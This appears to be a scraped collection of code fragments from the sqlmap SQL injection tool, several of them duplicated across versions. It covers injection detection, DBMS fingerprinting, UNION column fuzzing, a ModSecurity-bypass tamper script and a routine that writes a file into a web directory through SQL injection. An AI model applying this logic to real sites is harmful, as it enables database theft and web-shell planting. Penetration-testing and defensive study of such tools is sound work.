Example #1
0
def checkDynParam(place, parameter, value):
    """
    This function checks if the url parameter is dynamic. If it is
    dynamic, the content of the page differs, otherwise the
    dynamicity might depend on another parameter.
    """

    conf.matchRatio = None

    infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
    logger.info(infoMsg)

    randInt = randomInt()
    payload = agent.payload(place, parameter, value, getUnicode(randInt))
    dynResult = Request.queryPage(payload, place)

    if True == dynResult:
        return False

    infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
    logger.info(infoMsg)

    randInt = randomInt()
    payload = agent.payload(place, parameter, value, getUnicode(randInt))
    dynResult = Request.queryPage(payload, place)

    return not dynResult
Example #2
0
def checkDynParam(place, parameter, value):
    """
    This function checks if the url parameter is dynamic. If it is
    dynamic, the content of the page differs, otherwise the
    dynamicity might depend on another parameter.
    """

    if kb.redirectChoice:
        return None

    kb.matchRatio = None
    dynResult = None
    randInt = randomInt()

    infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
    logger.info(infoMsg)

    try:
        payload = agent.payload(place, parameter, value, getUnicode(randInt))
        dynResult = Request.queryPage(payload, place, raise404=False)

        if not dynResult:
            infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
            logger.info(infoMsg)

            randInt = randomInt()
            payload = agent.payload(place, parameter, value, getUnicode(randInt))
            dynResult = Request.queryPage(payload, place, raise404=False)
    except SqlmapConnectionException:
        pass

    result = None if dynResult is None else not dynResult
    kb.dynamicParameter = result

    return result
Example #3
0
def checkWaf():
    """
    Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
    """

    if not conf.checkWaf:
        return False

    infoMsg = "testing if the target is protected by "
    infoMsg += "some kind of WAF/IPS/IDS"
    logger.info(infoMsg)

    retVal = False

    backup = dict(conf.parameters)

    conf.parameters = dict(backup)
    conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&"
    conf.parameters[PLACE.GET] += "%s=%d %s" % (randomStr(), randomInt(), IDS_WAF_CHECK_PAYLOAD)

    kb.matchRatio = None
    Request.queryPage()

    if kb.errorIsNone and kb.matchRatio is None:
        kb.matchRatio = LOWER_RATIO_BOUND

    conf.parameters = dict(backup)
    conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&"
    conf.parameters[PLACE.GET] += "%s=%d" % (randomStr(), randomInt())

    trueResult = Request.queryPage()

    if trueResult:
        conf.parameters = dict(backup)
        conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&"
        conf.parameters[PLACE.GET] += "%s=%d %s" % (randomStr(), randomInt(), IDS_WAF_CHECK_PAYLOAD)

        falseResult = Request.queryPage()

        if not falseResult:
            retVal = True

    conf.parameters = dict(backup)

    if retVal:
        warnMsg = "it appears that the target is protected. Please "
        warnMsg += "consider usage of tamper scripts (option '--tamper')"
        logger.warn(warnMsg)
    else:
        infoMsg = "it appears that the target is not protected"
        logger.info(infoMsg)

    return retVal
Example #4
0
        def tableExistsThread():
            threadData = getCurrentThreadData()

            while kb.threadContinue:
                kb.locks.count.acquire()
                if threadData.shared.count < threadData.shared.limit:
                    table = safeSQLIdentificatorNaming(
                        tables[threadData.shared.count], True)
                    threadData.shared.count += 1
                    kb.locks.count.release()
                else:
                    kb.locks.count.release()
                    break

                if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms(
                ) not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
                    fullTableName = "%s.%s" % (conf.db, table)
                else:
                    fullTableName = table

                if Backend.isDbms(DBMS.MCKOI):
                    _ = randomInt(1)
                    result = inject.checkBooleanExpression(
                        "%s" % safeStringFormat("%d=(SELECT %d FROM %s)",
                                                (_, _, fullTableName)))
                else:
                    result = inject.checkBooleanExpression(
                        "%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE,
                                                (randomInt(1), fullTableName)))

                kb.locks.io.acquire()

                if result and table.lower() not in threadData.shared.unique:
                    threadData.shared.files.append(table)
                    threadData.shared.unique.add(table.lower())

                    if conf.verbose in (1, 2) and not conf.api:
                        clearConsoleLine(True)
                        infoMsg = "[%s] [INFO] retrieved: %s\n" % (
                            time.strftime("%X"),
                            unsafeSQLIdentificatorNaming(table))
                        dataToStdout(infoMsg, True)

                if conf.verbose in (1, 2):
                    status = '%d/%d items (%d%%)' % (
                        threadData.shared.count, threadData.shared.limit,
                        round(100.0 * threadData.shared.count /
                              threadData.shared.limit))
                    dataToStdout(
                        "\r[%s] [INFO] tried %s" %
                        (time.strftime("%X"), status), True)

                kb.locks.io.release()
Example #5
0
def checkWaf():
    """
    Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
    """

    if not conf.checkWaf:
        return False

    infoMsg = "testing if the target is protected by "
    infoMsg += "some kind of WAF/IPS/IDS"
    logger.info(infoMsg)

    retVal = False

    backup = dict(conf.parameters)

    conf.parameters = dict(backup)
    conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&"
    conf.parameters[PLACE.GET] += "%s=%d %s" % (randomStr(), randomInt(), IDS_WAF_CHECK_PAYLOAD)

    kb.matchRatio = None
    Request.queryPage()

    if kb.errorIsNone and kb.matchRatio is None:
        kb.matchRatio = LOWER_RATIO_BOUND

    conf.parameters = dict(backup)
    conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&"
    conf.parameters[PLACE.GET] += "%s=%d" % (randomStr(), randomInt())

    trueResult = Request.queryPage()

    if trueResult:
        conf.parameters = dict(backup)
        conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&"
        conf.parameters[PLACE.GET] += "%s=%d %s" % (randomStr(), randomInt(), IDS_WAF_CHECK_PAYLOAD)

        falseResult = Request.queryPage()

        if not falseResult:
            retVal = True

    conf.parameters = dict(backup)

    if retVal:
        warnMsg = "it appears that the target is protected. Please "
        warnMsg += "consider usage of tamper scripts (option '--tamper')"
        logger.warn(warnMsg)
    else:
        infoMsg = "it appears that the target is not protected"
        logger.info(infoMsg)

    return retVal
Example #6
0
def checkFalsePositives(injection):
    """
    Checks for false positives (only in single special cases)
    """

    retVal = injection

    if (
        len(injection.data) == 1
        and any(
            map(
                lambda x: x in injection.data,
                [PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED],
            )
        )
        or len(injection.data) == 2
        and all(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED]))
    ):
        pushValue(kb.injection)

        infoMsg = "checking if the injection point on %s " % injection.place
        infoMsg += "parameter '%s' is a false positive" % injection.parameter
        logger.info(infoMsg)

        kb.injection = injection
        randInt1, randInt2 = int(randomInt(2)) + 1, int(randomInt(2)) + 1

        # Just in case (also, they have to be different than 0 because of the last test)
        while randInt1 == randInt2:
            randInt2 = int(randomInt(2)) + 1

        # Simple arithmetic operations which should show basic
        # arithmetic ability of the backend if it's really injectable
        if not checkBooleanExpression("(%d+%d)=%d" % (randInt1, randInt2, randInt1 + randInt2)):
            retVal = None
        elif checkBooleanExpression("%d=%d" % (randInt1, randInt2)):
            retVal = None
        elif not checkBooleanExpression(
            "%d=(%d-%d)" % (abs(randInt1 - randInt2), max(randInt1, randInt2), min(randInt1, randInt2))
        ):
            retVal = None
        elif checkBooleanExpression("(%d+%d)=(%d-%d)" % (randInt1, randInt2, randInt1, randInt2)):
            retVal = None

        if retVal is None:
            warnMsg = "false positive injection point detected"
            logger.warn(warnMsg)

        kb.injection = popValue()

    return retVal
Example #7
0
def errorTest():
    if conf.direct:
        return

    if kb.errorTest is not None:
        return kb.errorTest

    infoMsg  = "testing error-based sql injection on parameter "
    infoMsg += "'%s' with %s condition syntax" % (kb.injParameter, conf.logic)
    logger.info(infoMsg)

    randInt = getUnicode(randomInt(1))
    query = queries[kb.dbms].case.query % ("%s=%s" % (randInt, randInt))
    result, usedPayload = inject.goError(query, suppressOutput=True, returnPayload=True)

    if result:
        infoMsg  = "the target url is affected by an error-based sql "
        infoMsg += "injection on parameter '%s'" % kb.injParameter
        logger.info(infoMsg)

        kb.errorTest = agent.removePayloadDelimiters(usedPayload, False)
    else:
        warnMsg  = "the target url is not affected by an error-based sql "
        warnMsg += "injection on parameter '%s'" % kb.injParameter
        logger.warn(warnMsg)

        kb.errorTest = False

    setError()

    return kb.errorTest
Example #8
0
    def checkDbms(self):
        if not conf.extensiveFp and (Backend.isDbmsWithin(DB2_ALIASES)
                                     or conf.dbms in DB2_ALIASES):
            setDbms(DBMS.DB2)

            return True

        logMsg = "testing %s" % DBMS.DB2
        logger.info(logMsg)

        randInt = randomInt()
        result = inject.checkBooleanExpression(
            "%d=(SELECT %d FROM SYSIBM.SYSDUMMY1)" % (randInt, randInt))

        if result:
            logMsg = "confirming %s" % DBMS.DB2
            logger.info(logMsg)

            version = self.__versionCheck()

            if version:
                Backend.setVersion(version)
                setDbms("%s %s" % (DBMS.DB2, Backend.getVersion()))

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.DB2
            logger.warn(warnMsg)

            return False
Example #9
0
    def postfixQuery(self, string, comment=None):
        """
        This method appends the DBMS comment to the
        SQL injection request
        """

        randInt = randomInt()
        randStr = randomStr()

        if comment:
            string += comment

        if conf.postfix:
            string += " %s" % conf.postfix
        else:
            if kb.parenthesis is not None:
                string += " AND %s" % ("(" * kb.parenthesis)
            else:
                raise sqlmapNoneDataException, "unable to get the number of parenthesis"

            if kb.injType == "numeric":
                string += "%d=%d" % (randInt, randInt)
            elif kb.injType == "stringsingle":
                string += "'%s'='%s" % (randStr, randStr)
            elif kb.injType == "likesingle":
                string += "'%s' LIKE '%s" % (randStr, randStr)
            elif kb.injType == "stringdouble":
                string += "\"%s\"=\"%s" % (randStr, randStr)
            elif kb.injType == "likedouble":
                string += "\"%s\" LIKE \"%s" % (randStr, randStr)
            else:
                raise sqlmapNoneDataException, "unsupported injection type"

        return string
Example #10
0
    def checkDbms(self):
        if not conf.extensiveFp and (Backend.isDbmsWithin(DB2_ALIASES) or conf.dbms in DB2_ALIASES):
            setDbms(DBMS.DB2)

            return True

        logMsg = "testing %s" % DBMS.DB2
        logger.info(logMsg)

        randInt = randomInt()
        result = inject.checkBooleanExpression("%d=(SELECT %d FROM SYSIBM.SYSDUMMY1)" % (randInt, randInt))

        if result:
            logMsg = "confirming %s" % DBMS.DB2
            logger.info(logMsg)

            version = self.__versionCheck()

            if version:
                Backend.setVersion(version)
                setDbms("%s %s" % (DBMS.DB2, Backend.getVersion()))

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.DB2
            logger.warn(warnMsg)

            return False
Example #11
0
    def _webFileInject(self, fileContent, fileName, directory):
        outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
        uplQuery = getUnicode(fileContent).replace(
            "WRITABLE_DIR",
            directory.replace('/', '\\\\')
            if Backend.isOs(OS.WINDOWS) else directory)
        query = ""

        if isTechniqueAvailable(kb.technique):
            where = kb.injection.data[kb.technique].where

            if where == PAYLOAD.WHERE.NEGATIVE:
                randInt = randomInt()
                query += "OR %d=%d " % (randInt, randInt)

        query += getSQLSnippet(DBMS.MYSQL,
                               "write_file_limit",
                               OUTFILE=outFile,
                               HEXSTRING=hexencode(uplQuery))
        query = agent.prefixQuery(query)
        query = agent.suffixQuery(query)
        payload = agent.payload(newValue=query)
        page = Request.queryPage(payload)

        return page
Example #12
0
def fuzzTest():
    count = 0
    address, port = "127.0.0.10", random.randint(1025, 65535)

    def _thread():
        vulnserver.init(quiet=True)
        vulnserver.run(address=address, port=port)

    thread = threading.Thread(target=_thread)
    thread.daemon = True
    thread.start()

    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((address, port))
            break
        except:
            time.sleep(1)

    handle, config = tempfile.mkstemp(suffix=".conf")
    os.close(handle)

    url = "http://%s:%d/?id=1" % (address, port)

    content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url)
    open(config, "w+").write(content)

    while True:
        lines = content.split("\n")

        for i in xrange(20):
            j = random.randint(0, len(lines) - 1)

            if any(_ in lines[j] for _ in ("googleDork",)):
                continue

            if lines[j].strip().endswith('='):
                lines[j] += random.sample(("True", "False", randomStr(), str(randomInt())), 1)[0]

            k = random.randint(0, len(lines) - 1)
            if '=' in lines[k]:
                lines[k] += chr(random.randint(0, 255))

        open(config, "w+").write("\n".join(lines))

        cmd = "%s %s -c %s --non-interactive --answers='Github=n' --flush-session --technique=%s --banner" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), config, random.sample("BEUQ", 1)[0])
        output = shellExec(cmd)

        if "Traceback" in output:
            dataToStdout("---\n\n$ %s\n" % cmd)
            dataToStdout("%s---\n" % output, coloring=False)

            handle, config = tempfile.mkstemp(prefix="sqlmapcrash", suffix=".conf")
            os.close(handle)
            open(config, "w+").write("\n".join(lines))
        else:
            dataToStdout("\r%d\r" % count)

        count += 1
Example #13
0
    def suffixQuery(self, string, comment=None):
        """
        This method appends the DBMS comment to the
        SQL injection request
        """

        if conf.direct:
            return self.payloadDirect(string)

        logic = conf.logic
        case = getInjectionCase(kb.injType)

        if case is None:
            raise sqlmapNoneDataException, "unsupported injection type"

        randInt = randomInt()
        randStr = randomStr()

        if kb.parenthesis is not None:
            parenthesis = kb.parenthesis
        else:
            raise sqlmapNoneDataException, "unable to get the number of parenthesis"

        if comment:
            string += comment

        if conf.suffix:
            string += " %s" % conf.suffix
        else:
            string += case.usage.suffix.format % eval(case.usage.suffix.params)

        return string
Example #14
0
def tamper(payload, **kwargs):
    """
    Embraces complete query with versioned comment

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0

    Notes:
        * Useful to bypass ModSecurity WAF/IDS

    >>> import random
    >>> random.seed(0)
    >>> tamper('1 AND 2>1--')
    '1 /*!30874AND 2>1*/--'
    """

    retVal = payload

    if payload:
        postfix = ''
        for comment in ('#', '--', '/*'):
            if comment in payload:
                postfix = payload[payload.find(comment):]
                payload = payload[:payload.find(comment)]
                break
        if ' ' in payload:
            retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix)

    return retVal
Example #15
0
    def _orderByTechnique():
        def _orderByTest(cols):
            query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
            page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
            return not re.search(r"(warning|error|order by|failed)", page or "", re.I) and comparison(page, headers) or re.search(r"data types cannot be compared or sorted", page or "", re.I)

        if _orderByTest(1) and not _orderByTest(randomInt()):
            infoMsg = "ORDER BY technique seems to be usable. "
            infoMsg += "This should reduce the time needed "
            infoMsg += "to find the right number "
            infoMsg += "of query columns. Automatically extending the "
            infoMsg += "range for current UNION query injection technique test"
            singleTimeLogMessage(infoMsg)

            lowCols, highCols = 1, ORDER_BY_STEP
            found = None
            while not found:
                if _orderByTest(highCols):
                    lowCols = highCols
                    highCols += ORDER_BY_STEP
                else:
                    while not found:
                        mid = highCols - (highCols - lowCols) / 2
                        if _orderByTest(mid):
                            lowCols = mid
                        else:
                            highCols = mid
                        if (highCols - lowCols) < 2:
                            found = lowCols

            return found
Example #16
0
def _fuzzUnionCols(place, parameter, prefix, suffix):
    retVal = None

    if Backend.getIdentifiedDbms() and not re.search(FUZZ_UNION_ERROR_REGEX, kb.pageTemplate or "") and kb.orderByColumns:
        comment = queries[Backend.getIdentifiedDbms()].comment.query

        choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True)
        random.shuffle(choices)

        for candidate in itertools.product(choices, repeat=kb.orderByColumns):
            if retVal:
                break
            elif FUZZ_UNION_COLUMN.STRING not in candidate:
                continue
            else:
                candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate]

            query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix)
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query, place=place, parameter=parameter, where=PAYLOAD.WHERE.NEGATIVE)
            page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)

            if not re.search(FUZZ_UNION_ERROR_REGEX, page or ""):
                for column in candidate:
                    if column.startswith("'") and column.strip("'") in (page or ""):
                        retVal = [(_ if _ != column else "%s") for _ in candidate]
                        break

    return retVal
Example #17
0
def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
    """
    This method tests if the target URL is affected by an union
    SQL injection vulnerability. The test is done up to 50 columns
    on the target database table
    """

    validPayload = None
    vector = None
    orderBy = kb.orderByColumns
    uChars = (conf.uChar, kb.uChar)
    where = PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE

    # In case that user explicitly stated number of columns affected
    if conf.uColsStop == conf.uColsStart:
        count = conf.uColsStart
    else:
        count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where)

    if count:
        validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)

        if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms, kb.unionTemplate)):
            if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS:
                if kb.fuzzUnionTest is None:
                    msg = "do you want to (re)try to find proper "
                    msg += "UNION column types with fuzzy test? [y/N] "

                    kb.fuzzUnionTest = readInput(msg, default='N', boolean=True)
                    if kb.fuzzUnionTest:
                        kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix)

            warnMsg = "if UNION based SQL injection is not detected, "
            warnMsg += "please consider "

            if not conf.uChar and count > 1 and kb.uChar == NULL:
                message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] "

                if not readInput(message, default='Y', boolean=True):
                    warnMsg += "usage of option '--union-char' "
                    warnMsg += "(e.g. '--union-char=1') "
                else:
                    conf.uChar = kb.uChar = str(randomInt(2))
                    validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)

            if not conf.dbms:
                if not conf.uChar:
                    warnMsg += "and/or try to force the "
                else:
                    warnMsg += "forcing the "
                warnMsg += "back-end DBMS (e.g. '--dbms=mysql') "

            if not all((validPayload, vector)) and not warnMsg.endswith("consider "):
                singleTimeWarnMessage(warnMsg)

        if orderBy is None and kb.orderByColumns is not None and not all((validPayload, vector)):  # discard ORDER BY results (not usable - e.g. maybe invalid altogether)
            conf.uChar, kb.uChar = uChars
            validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)

    return validPayload, vector
Example #18
0
def detect(get_page):
    page, _, _ = get_page(host=randomInt(6))
    retval = "The server denied the specified Uniform Resource Locator (URL). Contact the server administrator." in (
        page or "")
    retval |= "The ISA Server denied the specified Uniform Resource Locator (URL)" in (
        page or "")
    return retval
Example #19
0
def checkDynParam(place, parameter, value):
    """
    This function checks if the url parameter is dynamic. If it is
    dynamic, the content of the page differs, otherwise the
    dynamicity might depend on another parameter.
    """

    infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
    logger.info(infoMsg)

    randInt = randomInt()
    payload = agent.payload(place, parameter, value, str(randInt))
    dynResult1 = Request.queryPage(payload, place)

    if kb.defaultResult == dynResult1:
        return False

    infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
    logger.info(infoMsg)

    payload = agent.payload(place, parameter, value, "'%s" % randomStr())
    dynResult2 = Request.queryPage(payload, place)

    payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
    dynResult3 = Request.queryPage(payload, place)

    condition  = kb.defaultResult != dynResult2
    condition |= kb.defaultResult != dynResult3

    return condition
Example #20
0
def detect(get_page):
    page, headers, code = get_page(host=randomInt(6))
    retval = "The server denied the specified Uniform Resource Locator (URL). Contact the server administrator." in (
        page or ""
    )
    retval |= "The ISA Server denied the specified Uniform Resource Locator (URL)" in (page or "")
    return retval
Example #21
0
    def _webFileInject(self, fileContent, fileName, directory):
        outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
        uplQuery = getUnicode(fileContent).replace(
            SHELL_WRITABLE_DIR_TAG,
            directory.replace('/', '\\\\')
            if Backend.isOs(OS.WINDOWS) else directory)
        query = ""

        if isTechniqueAvailable(getTechnique()):
            where = getTechniqueData().where

            if where == PAYLOAD.WHERE.NEGATIVE:
                randInt = randomInt()
                query += "OR %d=%d " % (randInt, randInt)

        query += getSQLSnippet(DBMS.MYSQL,
                               "write_file_limit",
                               OUTFILE=outFile,
                               HEXSTRING=encodeHex(uplQuery, binary=False))
        query = agent.prefixQuery(
            query
        )  # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
        payload = agent.payload(newValue=query)
        page = Request.queryPage(payload)

        return page
Example #22
0
def tamper(payload):
    """
    Embraces complete query with versioned comment

    Example:
        * Input: 1 AND 2>1--
        * Output: 1 /*!30000AND 2>1*/--

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0

    Notes:
        * Useful to bypass ModSecurity WAF/IDS
    """

    retVal = payload

    if payload:
        postfix = ''
        for comment in ('#', '--', '/*'):
            if comment in payload:
                postfix = payload[payload.find(comment):]
                payload = payload[:payload.find(comment)]
                break
        if ' ' in payload:
            retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix)

    return retVal
Example #23
0
def tamper(payload):
    """
    Embraces complete query with versioned comment

    Example:
        * Input: 1 AND 2>1--
        * Output: 1 /*!30000AND 2>1*/--

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0

    Notes:
        * Useful to bypass ModSecurity WAF/IDS
    """

    retVal = payload

    if payload:
        postfix = ''
        for comment in ('#', '--', '/*'):
            if comment in payload:
                postfix = payload[payload.find(comment):]
                payload = payload[:payload.find(comment)]
                break
        if ' ' in payload:
            retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix)

    return retVal
Example #24
0
    def postfixQuery(self, string, comment=None):
        """
        This method appends the DBMS comment to the
        SQL injection request
        """

        randInt = randomInt()
        randStr = randomStr()

        if comment:
            string += comment

        if conf.postfix:
            string += " %s" % conf.postfix
        else:
            if kb.parenthesis != None:
                string += " AND %s" % ("(" * kb.parenthesis)
            else:
                raise sqlmapNoneDataException, "unable to get the number of parenthesis"

            if kb.injType == "numeric":
                string += "%d=%d" % (randInt, randInt)
            elif kb.injType == "stringsingle":
                string += "'%s'='%s" % (randStr, randStr)
            elif kb.injType == "likesingle":
                string += "'%s' LIKE '%s" % (randStr, randStr)
            elif kb.injType == "stringdouble":
                string += "\"%s\"=\"%s" % (randStr, randStr)
            elif kb.injType == "likedouble":
                string += "\"%s\" LIKE \"%s" % (randStr, randStr)
            else:
                raise sqlmapNoneDataException, "unsupported injection type"

        return string
Example #25
0
def tamper(payload, **kwargs):
    """
    Embraces complete query with (MySQL) versioned comment

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0

    Notes:
        * Useful to bypass ModSecurity WAF

    >>> import random
    >>> random.seed(0)
    >>> tamper('1 AND 2>1--')
    '1 /*!30963AND 2>1*/--'
    """

    retVal = payload

    if payload:
        postfix = ''
        for comment in ('#', '--', '/*'):
            if comment in payload:
                postfix = payload[payload.find(comment):]
                payload = payload[:payload.find(comment)]
                break
        if ' ' in payload:
            retVal = "%s /*!30%s%s*/%s" % (
                payload[:payload.find(' ')], randomInt(3),
                payload[payload.find(' ') + 1:], postfix)

    return retVal
    def checkDbms(self):
        if (
            not conf.extensiveFp
            and (Backend.isDbmsWithin(FIREBIRD_ALIASES) or conf.dbms in FIREBIRD_ALIASES)
            and Backend.getVersion()
            and Backend.getVersion() != UNKNOWN_DBMS_VERSION
        ):
            v = Backend.getVersion().replace(">", "")
            v = v.replace("=", "")
            v = v.replace(" ", "")

            Backend.setVersion(v)

            setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion()))

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.FIREBIRD
        logger.info(infoMsg)

        randInt = randomInt()
        result = inject.checkBooleanExpression("EXISTS(SELECT * FROM RDB$DATABASE WHERE %d=%d)" % (randInt, randInt))

        if result:
            infoMsg = "confirming %s" % DBMS.FIREBIRD
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.FIREBIRD)

            infoMsg = "actively fingerprinting %s" % DBMS.FIREBIRD
            logger.info(infoMsg)

            version = self._sysTablesCheck()

            if version is not None:
                Backend.setVersion(version)
                setDbms("%s %s" % (DBMS.FIREBIRD, version))

            self.getBanner()

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD
            logger.warn(warnMsg)

            return False
    def checkDbms(self):
        if not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) \
           or conf.dbms in FIREBIRD_ALIASES) and Backend.getVersion() and \
           Backend.getVersion() != UNKNOWN_DBMS_VERSION:
            v = Backend.getVersion().replace(">", "")
            v = v.replace("=", "")
            v = v.replace(" ", "")

            Backend.setVersion(v)

            setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion()))

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.FIREBIRD
        logger.info(infoMsg)

        randInt = randomInt()
        result = inject.checkBooleanExpression(
            "EXISTS(SELECT * FROM RDB$DATABASE WHERE %d=%d)" %
            (randInt, randInt))

        if result:
            infoMsg = "confirming %s" % DBMS.FIREBIRD
            logger.info(infoMsg)

            result = inject.checkBooleanExpression(
                "EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.FIREBIRD)

            infoMsg = "actively fingerprinting %s" % DBMS.FIREBIRD
            logger.info(infoMsg)

            version = self._sysTablesCheck()

            if version is not None:
                Backend.setVersion(version)
                setDbms("%s %s" % (DBMS.FIREBIRD, version))

            self.getBanner()

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD
            logger.warn(warnMsg)

            return False
Example #28
0
    def checkDbms(self):
        if conf.dbms in SYBASE_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
            setDbms("%s %s" % (DBMS.SYBASE, kb.dbmsVersion[0]))

            self.getBanner()

            if not conf.extensiveFp:
                kb.os = "Windows"

                return True

        infoMsg = "testing Sybase"
        logger.info(infoMsg)

        if conf.direct:
            result = True
        else:
            payload = agent.fullPayload("AND tempdb_id()=tempdb_id()")
            result  = Request.queryPage(payload)

        if result:
            logMsg = "confirming Sybase"
            logger.info(logMsg)

            payload = agent.fullPayload("AND suser_id()=suser_id()")
            result  = Request.queryPage(payload)

            if not result:
                warnMsg = "the back-end DBMS is not Sybase"
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.SYBASE)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            for version in range(12, 16):
                randInt = randomInt()
                query   = "AND @@VERSION_NUMBER/1000=%d" % version
                payload = agent.fullPayload(query)
                result  = Request.queryPage(payload)
                if result:
                    kb.dbmsVersion = ["%d" % version]
                    break

            return True
        else:
            warnMsg = "the back-end DBMS is not Sybase"
            logger.warn(warnMsg)

            return False
Example #29
0
    def __commentCheck(self):
        infoMsg = "executing MySQL comment injection fingerprint"
        logger.info(infoMsg)

        query   = agent.prefixQuery(" /* NoValue */")
        query   = agent.postfixQuery(query)
        payload = agent.payload(newValue=query)
        result  = Request.queryPage(payload)

        if not result:
            warnMsg = "unable to perform MySQL comment injection"
            logger.warn(warnMsg)

            return None

        # MySQL valid versions updated on 01/2010
        versions = (
                     (32200, 32234),    # MySQL 3.22
                     (32300, 32360),    # MySQL 3.23
                     (40000, 40032),    # MySQL 4.0
                     (40100, 40123),    # MySQL 4.1
                     (50000, 50090),    # MySQL 5.0
                     (50100, 50142),    # MySQL 5.1
                     (50400, 50405),    # MySQL 5.4
                     (50500, 50502),    # MySQL 5.5
                     (60000, 60011),    # MySQL 6.0
                   )

        for element in versions:
            prevVer = None

            for version in range(element[0], element[1] + 1):
                randInt = randomInt()
                version = str(version)
                query   = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
                query   = agent.postfixQuery(query)
                payload = agent.payload(newValue=query)
                result  = Request.queryPage(payload)

                if result:
                    if not prevVer:
                        prevVer = version

                    if version[0] == "3":
                        midVer = prevVer[1:3]
                    else:
                        midVer = prevVer[2]

                    trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])

                    return trueVer

                prevVer = version

        return None
Example #30
0
def errorUse(expression, returnPayload=False):
    """
    Retrieve the output of a SQL query taking advantage of an error SQL
    injection vulnerability on the affected parameter.
    """

    output         = None
    logic          = conf.logic
    randInt        = randomInt(1)
    query          = agent.prefixQuery(queries[kb.misc.testedDbms].error.query)
    query          = agent.suffixQuery(query)
    startLimiter   = ""
